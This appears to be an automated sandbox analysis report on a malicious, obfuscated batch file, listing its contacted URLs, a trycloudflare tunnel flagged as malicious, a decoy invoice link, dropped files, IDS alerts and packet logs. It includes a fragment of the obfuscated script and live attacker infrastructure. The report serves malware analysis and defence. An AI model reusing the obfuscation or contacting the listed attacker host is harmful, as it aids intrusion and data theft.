https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfPROCESSOR_ARCHI	cmd.exe, 00000009.00000003.1581000924.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1519588740.0000017244404000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579632176.000001724448B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1523273437.000001724448C000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581186413.0000017244478000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579778025.000001724447A000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581186413.0000017244489000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580174687.000001724448B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578652526.00000187945B4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.0000018794650000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580722369.000001332AE50000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580763388.000001332B0F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://supplier-murray-custody-treasures.trycloudflare.com/	net.exe, 0000000C.00000002.1578721214.0000018794695000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000003.1536962933.00000187946AD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://supplier-murray-custody-treasures.trycloudflare.com//	net.exe, 0000000C.00000002.1578721214.0000018794659000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.healyconsultants.com/wp-content/upl0W	cmd.exe, 00000009.00000003.1581240038.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244472000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244463000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdf	cmd.exe, 00000009.00000003.1581240038.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581240038.0000017244407000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000002.1582397233.00000172443DC000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578652526.00000187945B4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1578721214.0000018794659000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580722369.000001332AE59000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000011.00000002.1580763388.000001332B0F4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://supplier-murray-custody-treasures.trycloudflare.com/K	net.exe, 0000000C.00000002.1578721214.00000187946C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfVk	cmd.exe, 00000009.00000002.1582397233.0000017244409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1579656114.0000017244408000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1581240038.0000017244407000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000009.00000003.1580886036.0000017244408000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.healyconsultants.com/wp-content/uploads/2013/08/draft-invoice-Germany.pdfr	cmd.exe, 00000009.00000002.1582397233.00000172443DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.159.134.42	healyconsultants.com	United States	13335	CLOUDFLARENETUS	false
142.251.40.196	www.google.com	United States	15169	GOOGLEUS	false
104.16.231.132	supplier-murray-custody-treasures.trycloudflare.com	United States	13335	CLOUDFLARENETUS	true

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1647126
Start date and time:	2025-03-24 15:48:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2h.bat
Detection:	MAL
Classification:	mal76.spyw.winBAT@30/4@9/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, mrxdav.sys, rundll32.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.31.69.3, 23.203.176.221, 199.232.210.172, 142.250.81.227, 142.250.80.110, 172.217.165.142, 172.253.115.84, 142.251.32.110, 142.251.40.110, 142.250.80.78, 142.251.40.238, 142.251.40.206, 142.251.40.227, 142.251.32.99, 142.250.80.46, 4.175.87.197
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:50:10	API Interceptor	20x Sleep call for process: powershell.exe modified
10:50:14	API Interceptor	1x Sleep call for process: net.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.134.42	http://www.hoppestad.no/	Get hash	malicious	Unknown	Browse	www.hoppestad.no/
	JeouiaPf03mHSBH.exe	Get hash	malicious	FormBook	Browse	www.goodneighbor.club/rk1u/?Srs=F12hDm1e4DcVWImHJ+2qK+It/RbJLRPuehC1dypgSVIG0HNIZQ44LV2EHRnZDsdrBZ/sqOYHya/GlclbNDRcdimcV6EHMYCTSyL+JOmQWa2hH4hFNXMeP+g=&FX=9v8XFZ
	Hesap_Hareketleri_20-07-2024.exe	Get hash	malicious	FormBook	Browse	www.goodneighbor.club/ua6w/?mt=JRT0JH&WRsp6Vo=VguSblgGE2gr11H1Oz6h6PWd6leymQOovKLAJAP7pFJ8CEff3rcgEuyXtoztwl+D0WsHUExksuBetSe4yiwXMKet7xpBLnDRm6RCyc0okkK0F26Usou9s5dt62QO+Z5203j3h16PZUV7
	Inquiry files v2.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.goodneighbor.club/qt04/
	nK1Y86mbzfbkwpB.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.goodneighbor.club/qt04/
	Petromasila 16072024.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.goodneighbor.club/arws/
	CC-CREDIT CARD-itineraries.exe	Get hash	malicious	FormBook	Browse	www.goodneighbor.club/ua6w/?L0WX3=VguSblgGE2gr11HyBT7GooCC0H7LwBOovKLAJAP7pFJ8CEff3rcgEuyXtoztwl+D0WsHUExksuBetSe4yiwXPO2P1jxDbVWq76NrnMwukHi5CRjf6Y7B46k=&_4B=Rxm4iVs
	http://heritageconsultants.com	Get hash	malicious	Unknown	Browse	heritageconsultants.com/
	http://www.heritageconsultants.com/	Get hash	malicious	Unknown	Browse	www.heritageconsultants.com/
	http://www.standardmediaindex.com	Get hash	malicious	Unknown	Browse	www.standardmediaindex.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	rIMG523000010722100013267543polyhalogen.bat	Get hash	malicious	Remcos, GuLoader	Browse	172.67.176.19
	http://aysar-osman.de	Get hash	malicious	Unknown	Browse	172.67.220.67
	FT-51050458.exe	Get hash	malicious	FormBook	Browse	172.67.199.251
	RemittanceVO23081100084673.js	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Arma Ferro - RFQ 987653411.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	YourToDo.svg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	DETAILS_&_INVOICES.exe	Get hash	malicious	FormBook	Browse	104.21.4.181
	payment slip$34566.exe	Get hash	malicious	FormBook	Browse	104.21.96.1
	DHL_AWB#907853880944_pdf.exe	Get hash	malicious	FormBook	Browse	104.21.45.179
	payment copy $67548.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
CLOUDFLARENETUS	rIMG523000010722100013267543polyhalogen.bat	Get hash	malicious	Remcos, GuLoader	Browse	172.67.176.19
	http://aysar-osman.de	Get hash	malicious	Unknown	Browse	172.67.220.67
	FT-51050458.exe	Get hash	malicious	FormBook	Browse	172.67.199.251
	RemittanceVO23081100084673.js	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	Arma Ferro - RFQ 987653411.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	YourToDo.svg	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	DETAILS_&_INVOICES.exe	Get hash	malicious	FormBook	Browse	104.21.4.181
	payment slip$34566.exe	Get hash	malicious	FormBook	Browse	104.21.96.1
	DHL_AWB#907853880944_pdf.exe	Get hash	malicious	FormBook	Browse	104.21.45.179
	payment copy $67548.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://genee088.activehosted.com/box.php?nl=3&c=5&m=7&s=8d2d537642fe0bc0e87378e9173bb2b4&funcml=unsub2&luha=1	Get hash	malicious	HTMLPhisher	Browse	104.16.231.132
	https://email.double.serviceautopilot.com/c/eJwEwL1OwzAQAOCnsTdbzvl_8MAS2JAoA2Lzz51iKY2jJC3q2_PVcd_z9uot5UK-WFKi4GSFiY5EAFWEdlYF02LB4HlL5CIExzFN3oDTJnjP8Z772lsqlANNUQtrIwnjghJBoRfktVaVCjpQfEktUjYRa4nkA-VGudoCVldXLARneE-gwCoNoOJktJc2EgWTQfmChZxhRrXxKCvKE49nr5gf19j7Oi5Zx52vabmu_WT6jcHMYP79kdvyej3255_Ek8Hcbx9fn9ttbO_jm8HMj1SXo5_X2Bc8ZF7XvDGjjv0Y8sK68GeC_wAAAP__35laBg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.231.132
	http://172.64.80.1	Get hash	malicious	Unknown	Browse	104.16.231.132
	https://web-login.malwarebouncer.com/XU3V1d0d4S1BOQnluanhNMjlRRHMza3BabytyWnlFclJrbjczaXgxL284dUxGbTdiQjc5aS9wYjZJS0tWcmNLVHhmSEdaM2N5Y0M0dHg4djVpOEhxNDdKK3VXNDNtY2d3eWRmYVJ5dXZaZlUzMTNNa1VyN2dzZmtHM3BvUWdkLzRuaWZuMGt6QWdsRzJBRXN3cjQ4c2RNb1lZVXIvb0x2cVVTYjI2bGVMVnE5dFErN0I1Y2dHMksrWlpUN3Rac3IwUjVFRHRBUzJvQ3VtcysxWTQvWVFMOUlnaStjPS0tSjQwQVBVR2czWWNVRnBTQS0tR1h2dHBheXVGSFVGQ2QvZUY3T3BKQT09?cid=2431845786	Get hash	malicious	KnowBe4	Browse	104.16.231.132
	https://beekbyanna.formstack.com/forms/info	Get hash	malicious	Unknown	Browse	104.16.231.132
	http://clyy.981169.mdduel.com/rd/4tdTZC5863sQaD697esgeamuxmo320SZLLRUMDGAWEOWN3075INMB39155M12	Get hash	malicious	Unknown	Browse	104.16.231.132
	http://xml-v4.srvqck9.com	Get hash	malicious	Unknown	Browse	104.16.231.132
	Enquiry-Dubai.js	Get hash	malicious	AgentTesla	Browse	104.16.231.132
	PD4OaBeAiY.exe	Get hash	malicious	DanaBot	Browse	104.16.231.132
	1D9RNWJNQB.exe	Get hash	malicious	LummaC Stealer	Browse	104.16.231.132
a0e9f5d64349fb13191bc781f81f42e1	PRE#U00c7O - RFQ 674441-76450.xla.xlsx	Get hash	malicious	Unknown	Browse	104.16.231.132
	Medical GmbH Order.xls	Get hash	malicious	Unknown	Browse	104.16.231.132
	PURCHASE ORDER - PO#267759.xlam.xlsx	Get hash	malicious	Unknown	Browse	104.16.231.132
	Medical GmbH Order.xls	Get hash	malicious	Unknown	Browse	104.16.231.132
	Quotation.xls	Get hash	malicious	Unknown	Browse	104.16.231.132
	Quotation.xls	Get hash	malicious	Unknown	Browse	104.16.231.132
	USOE43wtyO.exe	Get hash	malicious	DarkVision Rat	Browse	104.16.231.132
	HTu5eF4VeI.exe	Get hash	malicious	DarkVision Rat	Browse	104.16.231.132
	ENQUIRY - RFQ 674441-76450.xla.xlsx	Get hash	malicious	Unknown	Browse	104.16.231.132
	ENQUIRY - RFQ 674441-76450.xla.xlsx	Get hash	malicious	Unknown	Browse	104.16.231.132

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulLzc:NllU
MD5:	D0D8DA475C24D98797D589D2BD9D83F9
SHA1:	337DF4C8E968553F7845124876752AB668DC4038
SHA-256:	557DD96F04E44166641933316B033DEC24AC0E5C7567D6DB1814CB821E026C0B
SHA-512:	BE4E5C4551F8FF22349280446B6EBD3E4E6D88820B8F944962825A83259CFE6DD5BB24517C585F31E20EA6B3BD4F60A0ED94FCF89A95F3B881D61C4788C616F0
Malicious:	false
Reputation:	low
Preview:	@...e...................................u............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2c3c5oa.jdp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_khxdrv4d.0iw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Contacts\error_log.txt

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	383
Entropy (8bit):	4.990570039466986
Encrypted:	false
SSDEEP:	6:9imM05yFt7gvVtNGWF0953NZIKCe97wyLVtytsRoJakSAsRoJSFzb7K6TwRt05py:9D+uN2953N4eRHTSbaR42v7K6TwQy
MD5:	720B2F339146F7AB20C96B03C18506AA
SHA1:	5D0BCCC86CBAC5709DAB593702F199A4DBDB69F3
SHA-256:	176F08D758A2F2594561FFF547D119B2523E25944FCCFD007925F3B1CA0D807D
SHA-512:	89BF74D350ABD3D959BE7549EFA1337931DCF107297BDD4962FA55ACBB1FD9E9C30FBD5BED356EB8AFA55DFE71FE998132123851E3B7422C7BADEAA8F3F2C2A1
Malicious:	false
Preview:	[LOG] Script started at 24/03/2025 10:50:13.48 ..[INFO] Attempting to connect to WebDAV... ..System error 53 has occurred.....The network path was not found.....[ERROR] Failed to connect to WebDAV. Error code: 2 ..The system cannot find the drive specified...The system cannot find the path specified... 0 file(s) copied...[INFO] Script completed at 24/03/2025 10:50:19.29. ..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (20908), with no line terminators
Entropy (8bit):	4.396185823482831
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	2h.bat
File size:	41'819 bytes
MD5:	0110fbc81a42c9376f10dbe604491f77
SHA1:	daf5f87aea0e57749d2951014d3dfdee9b57fa30
SHA256:	ae8c6e7884ebe53f38a11df2b90c84bad4b4fa192dd361a58dc33db4fddb33d0
SHA512:	354bc44e02daa21f2659bc6f4c996478663cf0ba2b8ef6d5cd2422fc84cf2e4475592f89bf8d6b73e9f06e4444a2307b81f72fab247363846e8a4eec44d6c940
SSDEEP:	384:0TeaoxxRYVKwIjMkqPdP3FdAOWJZgLI1S2VZ282j8AHuKaAA7itGb0Ac4jDfp+IC:0TtOx5q41Brcary293oYwd7eRrOtoaL
TLSH:	8F13916C9BC30A8BB149904F93670C226DAFD43E7A6D308FAD97797E07D5208D12729D
File Content Preview:	..&@cls&@set "...=EVertGYjRF6hZgin@HfMXAuQ0ol5y1vkL7w94PNJ8IDOpWUsSTBKCazc3xdmbq 2".%...:~16,1%%...:~47,1%%...:~2,1%%...:~4,1%%....r.M%%...:~62,1%"..%...:~23,1%%...:~53,1%%...:~57,1%=%...:~55,1%%...:~0,1%%...:~20,1%%...:~8,1%%...:~14,1%%...:~32,1%%...:~46

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-24T15:50:15.149265+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49722	104.16.231.132	443	TCP
2025-03-24T15:50:15.942803+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49722	104.16.231.132	443	TCP
2025-03-24T15:50:20.162097+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49733	104.16.231.132	443	TCP

Network Port Distribution

Total Packets: 78
• 443 (HTTPS)
• 80 (HTTP)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 15:49:44.519855976 CET	49671	443	192.168.2.4	204.79.197.203
Mar 24, 2025 15:49:48.755011082 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:49.066737890 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:49.332431078 CET	49671	443	192.168.2.4	204.79.197.203
Mar 24, 2025 15:49:49.676116943 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:50.879235029 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:52.957401037 CET	49680	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:49:53.285506010 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:53.473007917 CET	49681	80	192.168.2.4	2.17.190.73
Mar 24, 2025 15:49:58.098001003 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:49:58.941770077 CET	49671	443	192.168.2.4	204.79.197.203
Mar 24, 2025 15:50:02.080573082 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.080921888 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.081037045 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.175426006 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.175793886 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.175810099 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.176711082 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.176750898 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.176770926 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.176809072 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.177586079 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.180687904 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.180713892 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.180747032 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.180784941 CET	49710	443	192.168.2.4	204.79.197.222
Mar 24, 2025 15:50:02.271159887 CET	443	49710	204.79.197.222	192.168.2.4
Mar 24, 2025 15:50:02.510927916 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:02.608783960 CET	80	49719	142.250.64.99	192.168.2.4
Mar 24, 2025 15:50:02.609493971 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:02.610291004 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:02.706173897 CET	80	49719	142.250.64.99	192.168.2.4
Mar 24, 2025 15:50:02.708606005 CET	80	49719	142.250.64.99	192.168.2.4
Mar 24, 2025 15:50:02.754381895 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:02.988513947 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:03.087635040 CET	80	49719	142.250.64.99	192.168.2.4
Mar 24, 2025 15:50:03.129302025 CET	49719	80	192.168.2.4	142.250.64.99
Mar 24, 2025 15:50:07.707405090 CET	49678	443	192.168.2.4	20.189.173.27
Mar 24, 2025 15:50:14.919277906 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:14.919329882 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:14.919397116 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:14.921341896 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:14.921365976 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.148622036 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.149265051 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:15.380659103 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:15.380685091 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.382246017 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.430111885 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:15.639457941 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:15.680332899 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.886872053 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:15.886908054 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:15.886981964 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:15.889715910 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:15.889735937 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:15.942809105 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.942934036 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:15.943092108 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:16.003002882 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:16.003036022 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:16.003048897 CET	49722	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:16.003067970 CET	443	49722	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:16.111699104 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:16.111771107 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:16.118200064 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:16.118222952 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:16.118496895 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:16.132512093 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:16.132587910 CET	443	49725	162.159.134.42	192.168.2.4
Mar 24, 2025 15:50:16.132644892 CET	49725	443	192.168.2.4	162.159.134.42
Mar 24, 2025 15:50:19.632323980 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.632370949 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:19.632441998 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.633516073 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.633532047 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:19.843959093 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:19.844042063 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.845455885 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.845467091 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:19.845721006 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:19.878720999 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:19.924325943 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:20.003180027 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:20.003216028 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:20.003330946 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:20.003472090 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:20.003484011 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:20.162094116 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:20.162256956 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:20.162365913 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:20.162600994 CET	49733	443	192.168.2.4	104.16.231.132
Mar 24, 2025 15:50:20.162619114 CET	443	49733	104.16.231.132	192.168.2.4
Mar 24, 2025 15:50:20.215492010 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:20.215562105 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:20.216908932 CET	49734	443	192.168.2.4	142.251.40.196
Mar 24, 2025 15:50:20.216922045 CET	443	49734	142.251.40.196	192.168.2.4
Mar 24, 2025 15:50:20.217174053 CET	443	49734	142.251.40.196	192.168.2.4
